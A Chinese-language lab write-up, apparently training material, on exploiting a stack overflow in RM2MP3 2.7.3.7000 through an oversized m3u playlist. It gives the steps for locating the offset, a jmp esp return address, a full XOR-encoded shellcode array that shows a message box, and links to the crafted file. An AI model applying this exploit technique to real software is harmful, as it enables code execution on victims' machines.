RM2MP3溢出漏洞報告【利用篇】

版本：2.7.3.7000
工具：X32Dbg、010Editor、記事本
環境：win7 sp1 x86

時間：2016.12.22

漏洞原理

軟件在讀取m3u播放列表文件時，如果m3u大小在45Kb左右的時候會發生溢出。

1.首先準備一個m3u文件

裏面填入“1111……”這樣的數據，如下圖所示：

2.拖拽m3u文件到程序窗口

程序崩潰,異常偏移是31313131,也就是1的ASCII表現形式

3.採用二分法,分割查找具體崩潰地點

4.插入特徵數據

插入有規律的一行”A0A1……B0B1……”,再次進行前面的操作,找到異常偏移32473147，也就是G1G2的ASCII表現形式

5.修改溢出點數據

將溢出點的數據改爲jmp esp彙編指令的地址，這裏選擇一個通用的0x7FFA4512，用16進制就是1245FA7F，如下圖：

6.植入Shellcode

在溢出點後面加入shellcode（彈框“Hello 15PB”），這裏採用加密shellcode的方式（爲了不含有0x00和0x0A特殊含義的ASCII）插入，在真正的shellcode之前，加入一段解密代碼，一起組成一段shellcode，如下圖：

7.漏洞利用效果

彈出對話框“Hello 15PB”:

附shellcode代碼:

unsigned char hexData[324] = {
    0x12, 0x45, 0xFA, 0x7F, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x33, 0xC0, 0xE8, 0xFF, 0xFF,
    0xFF, 0xFF, 0xC3, 0x58, 0x8D, 0x70, 0x1B, 0x33, 0xC9, 0x66, 0xB9, 0x17, 0x01, 0x8A, 0x04, 0x0E,
    0x34, 0x01, 0x88, 0x04, 0x0E, 0xE2, 0xF6, 0x80, 0x34, 0x0E, 0x01, 0xFF, 0xE6, 0x82, 0xED, 0x71,
    0xEA, 0x4D, 0x49, 0x64, 0x6D, 0x6D, 0x6E, 0x21, 0x30, 0x34, 0x51, 0x43, 0x01, 0x44, 0x79, 0x68,
    0x75, 0x51, 0x73, 0x6E, 0x62, 0x64, 0x72, 0x72, 0x01, 0x4C, 0x64, 0x72, 0x72, 0x60, 0x66, 0x64,
    0x43, 0x6E, 0x79, 0x40, 0x01, 0x4D, 0x6E, 0x60, 0x65, 0x4D, 0x68, 0x63, 0x73, 0x60, 0x73, 0x78,
    0x44, 0x79, 0x40, 0x01, 0x74, 0x72, 0x64, 0x73, 0x32, 0x33, 0x2F, 0x65, 0x6D, 0x6D, 0x01, 0x46,
    0x64, 0x75, 0x51, 0x73, 0x6E, 0x62, 0x40, 0x65, 0x65, 0x73, 0x64, 0x72, 0x72, 0x01, 0xE9, 0x01,
    0x01, 0x01, 0x01, 0x5E, 0x56, 0x65, 0x8A, 0x34, 0x31, 0x01, 0x01, 0x01, 0x8A, 0x77, 0x0D, 0x8A,
    0x77, 0x1D, 0x8A, 0x37, 0x8A, 0x5F, 0x09, 0x8A, 0x72, 0x3D, 0x02, 0xF2, 0x8A, 0x77, 0x79, 0x02,
    0xF2, 0x8A, 0x57, 0x19, 0x8A, 0x47, 0x1D, 0x02, 0xC2, 0x8A, 0x7F, 0x25, 0x02, 0xFA, 0x56, 0x8A,
    0x77, 0x21, 0x02, 0xF2, 0x32, 0xC8, 0x8A, 0x3D, 0x8F, 0x02, 0xFA, 0xEA, 0x06, 0x3A, 0xCB, 0x40,
    0x74, 0xF5, 0xEA, 0x18, 0x50, 0x57, 0x8A, 0xF6, 0x8A, 0x7D, 0x25, 0x0D, 0x82, 0xEE, 0x15, 0xB8,
    0x0E, 0x01, 0x01, 0x01, 0xFD, 0xF2, 0xA7, 0x5F, 0x58, 0x75, 0x02, 0xEA, 0xE1, 0xC2, 0x5E, 0x8C,
    0x0D, 0x4E, 0x0E, 0xB6, 0x08, 0x8A, 0x05, 0x89, 0x02, 0xC2, 0x51, 0x52, 0x8A, 0x7D, 0x25, 0x09,
    0x82, 0xEE, 0x2F, 0x56, 0x52, 0xFE, 0xD1, 0x8A, 0x7D, 0x25, 0x09, 0x82, 0xEE, 0x1E, 0x6B, 0x01,
    0x6B, 0x01, 0x56, 0xFE, 0xD1, 0x8A, 0x7D, 0x25, 0x09, 0x82, 0xEE, 0x3B, 0x8A, 0x75, 0x25, 0x05,
    0x56, 0x51, 0xFE, 0xD7, 0x51, 0x8A, 0x7D, 0x25, 0x0D, 0x82, 0xEE, 0x47, 0x8A, 0x75, 0x25, 0x09,
    0x8A, 0x5D, 0x25, 0x05, 0x56, 0x52, 0xFE, 0xD7, 0x51, 0x8A, 0x7D, 0x25, 0x11, 0x8C, 0x46, 0xAE,
    0x8A, 0x5D, 0x25, 0x05, 0x6B, 0x01, 0x51, 0x51, 0x6B, 0x01, 0xFE, 0xD2, 0x8A, 0x0D, 0x25, 0x6B,
    0x01, 0xFE, 0xD0, 0x01 
};

附:

原程序下載地址:

鏈接：http://pan.baidu.com/s/1c2Midc0 密碼：z690

m3u播放列表文件下載地址:

鏈接：http://pan.baidu.com/s/1sl4gAs9 密碼：qdml